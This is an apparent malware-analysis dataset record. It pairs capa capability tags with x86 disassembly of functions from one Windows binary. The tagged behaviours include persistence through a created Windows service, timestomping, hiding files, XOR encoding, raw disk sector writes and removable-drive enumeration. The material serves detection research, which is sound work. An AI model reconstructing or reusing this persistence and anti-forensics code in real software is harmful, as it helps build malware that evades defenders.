joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4024a9
Capabilities:
Set registry value

Disassembly:
cmp dword [0x418a04], 0
jne 0x4024b7
jmp fcn.004023fb
ret

Function at 0x4026f1
Capabilities:
Create process on windows
Create service
Get common file path
Persist via windows service
Query service status
Start service

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
xor esi, esi
push 0x111
xor ebp, ebp
mov dword [esp + 0x14], esi
call fcn.004069a3
mov ebx, eax
mov dword [esp], 0x112
call fcn.004069a3
cmp ebx, esi
pop ecx
mov dword [esp + 0x14], eax
je 0x4026bd
cmp eax, esi
je 0x4026b6
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
cmp ebp, esi
je 0x4026b6
mov edi, 0xf01ff
push edi
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x40267d
lea esi, [esp + 0x34]
call fcn.0040207a
xor eax, eax
push eax
push eax
push eax
push eax
push eax
mov eax, esi
push eax
push 1
push 2
push 0x10
push edi
push dword [esp + 0x3c]
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x4026b6
push 0x113
call fcn.004069a3
mov edi, eax
test edi, edi
pop ecx
je 0x40267d
push edi
push esi
call fcn.0040253e
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x4026b6
cmp dword [esp + 0x1c], 4
je 0x4026ae
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x4026b6
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0x10], 1
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [esp + 0x14], 0
je 0x4026ce
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test esi, esi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
je 0x4026db
push esi
call edi
test ebp, ebp
je 0x4026e2
push ebp
call edi
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
cmp dword [0x418a04], 0
je 0x4026ff
jmp 0x4025c6
jmp fcn.004024b8

Function at 0x402815
Capabilities:
Query service status
Stop service

Disassembly:
push edi
push 0x905
call fcn.004069a3
mov edi, eax
test edi, edi
pop ecx
jne 0x402718
pop edi
ret
push esi
push edi
push 0
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenEventA]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
test esi, esi
jne 0x402738
xor eax, eax
jmp 0x40274a
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop esi
pop edi
ret
cmp dword [0x418a04], 0
je 0x402823
jmp fcn.0040274d
jmp 0x402704

Function at 0x402968
Capabilities:
Copy file
Get file size
Read file on windows
Write file on windows

Disassembly:
cmp dword [0x418a04], 0
jne 0x402976
call fcn.004024a9
jmp fcn.00402828
Function at 0x402f84
Capabilities:
Connect to wmi namespace via wbemlocator

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor esi, esi
push esi
push esi
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jl 0x402fd5
push esi
push esi
push esi
push 3
push esi
push esi
push esi
push 0xffffffffffffffff
push esi
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
test eax, eax
jl 0x402fd5
lea eax, [ebp - 0x10]
push eax
push 0x40f45c
push 1
push esi
push 0x40f52c
mov dword [ebp - 0x18], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], esi
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x402fdc
xor eax, eax
jmp 0x403123
push ebx
push edi
push 0x4301
call fcn.004069de
pop ecx
lea edx, [ebp - 0xc]
push edx
push esi
push esi
push 0x80
push esi
push esi
mov edi, eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push esi
push edi
push eax
call dword [ecx + 0xc]
push edi
mov ebx, eax
call fcn.004069cc
cmp ebx, esi
pop ecx
jl 0x40310b
push 0x4302
call fcn.004069de
mov edi, eax
mov dword [esp], 0x4303
call fcn.004069de
pop ecx
lea edx, [ebp - 8]
push edx
push esi
push 0x20
mov ebx, eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push ebx
push edi
push eax
call dword [ecx + 0x50]
push edi
mov dword [ebp - 0x14], eax
call fcn.004069cc
push ebx
call fcn.004069cc
cmp dword [ebp - 0x14], esi
pop ecx
pop ecx
jl 0x4030fe
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 4]
push edx
push 1
push 0xffffffffffffffff
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0x10]
test eax, eax
jl 0x4030f1
cmp dword [ebp - 0x14], esi
jbe 0x4030e4
push 0x4304
call fcn.004069de
pop ecx
push esi
push esi
lea edx, [ebp - 0x28]
push edx
mov edi, eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push esi
push edi
push eax
call dword [ecx + 0x10]
push edi
mov ebx, eax
call fcn.004069cc
cmp ebx, esi
pop ecx
jl 0x4030e4
push 0xffffffffffffffff
push dword [ebp - 0x20]
call fcn.00402f40
mov edi, eax
cmp edi, esi
pop ecx
pop ecx
je 0x4030e4
push dword [ebp + 8]
push edi
call fcn.00407270
pop ecx
push eax
push edi
call fcn.00402ece
add esp, 0xc
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
cmp ebx, 0x10
sete al
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x4030f1
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 8]
cmp eax, esi
je 0x4030fe
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0xc]
cmp eax, esi
je 0x40310b
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
cmp eax, esi
pop edi
pop ebx
je 0x40311a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x18]
pop esi
leave
ret
Function at 0x403221
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
xor esi, esi
push 0x104
lea eax, [ebp - 0x10c]
push esi
push eax
mov dword [ebp - 8], esi
call fcn.00406ca0
push 0x5001
call fcn.004069a3
mov edi, eax
add esp, 0x10
cmp edi, esi
je 0x403310
movsx eax, byte [ebp + 8]
push eax
lea eax, [ebp - 0x10c]
push edi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
call fcn.004069cc
add esp, 0x10
push esi
push esi
push 3
push esi
push esi
push 0x80000000
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x403310
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
mov ebx, eax
push 0x1000
lea eax, [ebx + 1]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea eax, [ebx + 1]
push eax
push esi
push edi
call fcn.00406ca0
add esp, 0xc
push esi
lea eax, [ebp - 8]
push eax
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
pop ebx
push dword [ebp - 4]
jne 0x4032fd
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
inc eax
jmp 0x403312
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x403316
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push esi
push edi
push 0x104
xor esi, esi
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00406ca0
push 0x5001
call fcn.004069a3
mov edi, eax
add esp, 0x10
cmp edi, esi
jne 0x40334f
xor eax, eax
jmp 0x4033d7
movsx eax, byte [ebp + 8]
push eax
lea eax, [ebp - 0x108]
push edi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push edi
call fcn.004069cc
add esp, 0x10
push esi
push 0x80
push 2
push esi
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4033d5
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea ecx, [ebp - 4]
push ecx
push eax
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
neg esi
sbb esi, esi
push edi
neg esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 1
jne 0x4033d5
lea eax, [ebp - 0x108]
push eax
call fcn.004041e7
lea eax, [ebp - 0x108]
push eax
call fcn.004041bd
pop ecx
pop ecx
mov eax, esi
pop edi
pop esi
leave
ret
Function at 0x4033db
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push edi
push 0x80000000
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403406
xor eax, eax
jmp 0x403465
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [ebp + 8]
push 4
push 0x1000
push eax
push edi
mov dword [esi], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
lea ecx, [ebp - 4]
push ecx
push dword [esi]
mov dword [ebp - 8], eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40344c
mov eax, dword [ebp - 4]
cmp eax, dword [esi]
jne 0x40344c
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
jmp 0x403464
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret

Function at 0x403469
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
push esi
push esi
push 1
push esi
push esi
push 0xc0000000
push dword [ebp + 8]
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403493
xor eax, eax
jmp 0x4034bd
push edi
mov edi, dword [ebp + 0x10]
push esi
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4034b3
cmp dword [ebp - 4], edi
jne 0x4034b3
xor esi, esi
inc esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40350f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
add eax, 0xfffffffc
je 0x40354f
push esi
lea esi, [eax - 1]
shr esi, 2
push edi
mov edi, dword [ebp + 8]
inc esi
push 4
lea eax, [ebp + 0xc]
push edi
push eax
call fcn.00406d00
mov eax, dword [ebp + 0x10]
xor dword [ebp + 0xc], eax
push 4
lea eax, [ebp + 0xc]
push eax
push edi
call fcn.00406d00
add esp, 0x18
add edi, 4
dec esi
jne 0x403526
pop edi
pop esi
xor eax, eax
inc eax
pop ebp
ret

Function at 0x403554
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x3c]
lea esi, [eax + edi + 8]
mov eax, dword [esi]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
add eax, 0xfffffffc
cmp eax, ebx
mov dword [esi], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], eax
jbe 0x4035a2
mov eax, dword [ebp + 8]
add eax, edi
push 4
push eax
lea eax, [ebp - 4]
push eax
call fcn.00406d00
add dword [ebp + 8], 4
mov eax, dword [ebp + 8]
xor ebx, dword [ebp - 4]
add esp, 0xc
cmp eax, dword [ebp + 0xc]
jb 0x40357f
mov eax, dword [ebp - 8]
pop edi
mov dword [esi], eax
pop esi
mov eax, ebx
pop ebx
leave
ret
Function at 0x40384b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov al, byte [ebp + 8]
mov esi, str._A:
lea edi, [ebp - 8]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
add byte [ebp - 4], al
xor esi, esi
push esi
push esi
push 3
push esi
push 3
push 0x80000000
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x403887
xor eax, eax
jmp 0x4038b8
mov eax, dword [ebp + 0xc]
push esi
push esi
shl eax, 9
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
push dword [ebp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x4038f1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov al, byte [ebp + 8]
mov esi, str._A:
lea edi, [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
add byte [ebp - 0x14], al
xor edi, edi
push edi
push 0x20000000
push 3
push edi
push 3
push 0x40000000
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403933
xor eax, eax
jmp 0x403999
mov eax, dword [ebp + 0xc]
push edi
push edi
shl eax, 9
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [ebp + 0x10], edi
mov dword [ebp - 8], edi
jle 0x40397b
mov eax, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov esi, 0x200
push edi
lea eax, [ebp - 0x10]
push eax
push esi
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, edi
mov dword [ebp - 0xc], eax
je 0x40397b
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
add dword [ebp - 4], esi
cmp eax, dword [ebp + 0x10]
jl 0x403956
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040384b
mov eax, dword [ebp - 0xc]
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4041bd
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4041e4
and eax, 0xffffffdf
or eax, 2
push eax
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
neg eax
sbb eax, eax
neg eax
ret
xor eax, eax
ret
Function at 0x4041e7
Capabilities:
Get common file path
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x328
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call fcn.004029c8
lea eax, [ebp - 0x224]
push esi
push eax
call fcn.004029c8
add esp, 0x10
push esi
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40423c
lea eax, [ebp - 0x328]
push eax
push 0x5007
call fcn.004069b5
test eax, eax
pop ecx
pop ecx
jne 0x404243
xor eax, eax
jmp 0x4042e4
push edi
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0xc
push 0
mov edi, 0x80
push edi
push 3
push 0
push 1
push 0x80000000
lea eax, [ebp - 0x224]
push eax
call esi
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x404290
xor eax, eax
jmp 0x4042e3
push 0
push edi
push 3
push 0
push 1
push 0x40000000
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x40428c
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push dword [ebp - 4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x4042e7
Capabilities:
Get common file path
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
mov esi, 0x104
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.004029c8
lea eax, [ebp - 0x220]
push esi
push eax
call fcn.004029c8
add esp, 0x10
push esi
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x40433c
lea eax, [ebp - 0x324]
push eax
push 0x5007
call fcn.004069b5
test eax, eax
pop ecx
pop ecx
jne 0x404343
xor eax, eax
jmp 0x4043e2
push ebx
push edi
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0xc
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
lea eax, [ebp - 0x220]
push eax
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4043a7
push edi
push 0x2000080
push 3
push edi
push 3
push 0x40000000
push dword [ebp + 8]
call esi
mov edi, eax
cmp edi, 0xffffffff
jne 0x4043ab
xor eax, eax
jmp 0x4043e0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call esi
push edi
call esi
xor eax, eax
inc eax
pop edi
pop ebx
pop esi
leave
ret
Function at 0x404466
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
push 8
xor eax, eax
lea ebx, [esi + 0x94]
push ebx
push eax
push eax
push eax
push 0x80
lea eax, [esi + 0x14]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x4044ae
push 3
push 0x40e2a4
push ebx
call fcn.00407800
add esp, 0xc
test eax, eax
je 0x4044b5
xor eax, eax
jmp 0x4045b7
lea eax, [ebp - 0x200]
push eax
movsx eax, byte [edi]
push 1
sub eax, 0x41
push 0
push eax
call fcn.0040384b
movzx cx, byte [ebp - 0x1f5]
xor eax, eax
mov ah, byte [ebp - 0x1f4]
add esp, 0x10
or eax, ecx
movzx cx, byte [ebp - 0x1f2]
mov word [esi], ax
mov al, byte [ebp - 0x1f3]
mov byte [esi + 2], al
xor eax, eax
mov ah, byte [ebp - 0x1f1]
or eax, ecx
movzx ecx, byte [ebp - 0x1ed]
mov word [esi + 4], ax
movzx ax, byte [ebp - 0x1f0]
mov word [esi + 6], ax
movzx eax, byte [ebp - 0x1ec]
shl eax, 8
or eax, ecx
mov dword [esi + 0xc], eax
jne 0x404555
movzx eax, byte [ebp - 0x1dd]
movzx ecx, byte [ebp - 0x1de]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp - 0x1df]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp - 0x1e0]
shl eax, 8
or eax, ecx
mov dword [esi + 0xc], eax
movzx eax, byte [ebp - 0x1e9]
movzx ecx, byte [ebp - 0x1ea]
shl eax, 8
or eax, ecx
mov dword [esi + 0x10], eax
jne 0x40459b
movzx eax, byte [ebp - 0x1d9]
movzx ecx, byte [ebp - 0x1da]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp - 0x1db]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp - 0x1dc]
shl eax, 8
or eax, ecx
mov dword [esi + 0x10], eax
movzx cx, byte [ebp - 0x1ef]
xor eax, eax
mov ah, byte [ebp - 0x1ee]
or eax, ecx
shl eax, 5
mov word [esi + 8], ax
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40462d
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
lea eax, [ebp - 0x104]
push 0x104
push eax
call fcn.004029c8
push dword [ebp + 0xc]
movsx eax, byte [ebp + 8]
push eax
lea eax, [ebp - 0x104]
push str._c:_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x404688
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404688
xor eax, eax
leave
ret
lea eax, [ebp - 0x104]
push eax
call fcn.004042e7
test eax, eax
pop ecx
je 0x404684
lea eax, [ebp - 0x104]
push eax
call fcn.004041bd
neg eax
sbb eax, eax
pop ecx
neg eax
leave
ret
Function at 0x4047a1
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
and dword [ebp - 8], 0
and dword [ebp - 0xc], 0
push ebx
push esi
push edi
lea eax, [ebp - 0x5c]
push 0x30
push eax
call fcn.004029c8
lea eax, [ebp - 0x2c]
push 0x18
push eax
call fcn.004029c8
mov ebx, 0x200
lea eax, [ebp - 0x25c]
push ebx
push eax
call fcn.004029c8
add esp, 0x18
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push 3
pop edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 1
mov ecx, edi
shl dword [ebp - 4], cl
test dword [ebp - 4], eax
je 0x40487f
add edi, 0x41
push edi
lea eax, [ebp - 0x2c]
push str._c:_
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x40487f
push edi
lea eax, [ebp - 0x5c]
push str.__c:
push eax
call esi
add esp, 0xc
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push 0x80000000
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x40487f
push ebx
lea eax, [ebp - 0x25c]
push eax
push dword [ebp - 8]
call fcn.00404429
add esp, 0xc
test eax, eax
je 0x40487f
cmp dword [ebp - 0x240], 7
jne 0x40487f
mov eax, dword [ebp - 4]
or dword [ebp - 0xc], eax
mov edi, dword [ebp - 0x10]
inc edi
cmp edi, 0x20
mov dword [ebp - 0x10], edi
jl 0x4047f5
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4049a5
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [ebp + 0xc], 0
jne 0x4049b5
xor eax, eax
leave
ret
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
test edi, edi
je 0x404a1c
push esi
push edi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
jne 0x4049dc
xor eax, eax
jmp 0x404a1b
push esi
push edi
push dword [ebp - 4]
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x404a04
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x40e28c
push esi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x404a0d
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
jmp 0x4049d8
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 0xc]
push 0xd
pop ecx
xor eax, eax
rep movsd dword es:[edi], dword [esi]
inc eax
pop esi
pop edi
leave
ret

Function at 0x404a4a
Capabilities:
Get file size

Disassembly:
push esi
push edi
xor edi, edi
push edi
push edi
push 3
push edi
push 3
push 0x80000000
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
or eax, 0xffffffff
cmp esi, eax
je 0x404a80
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret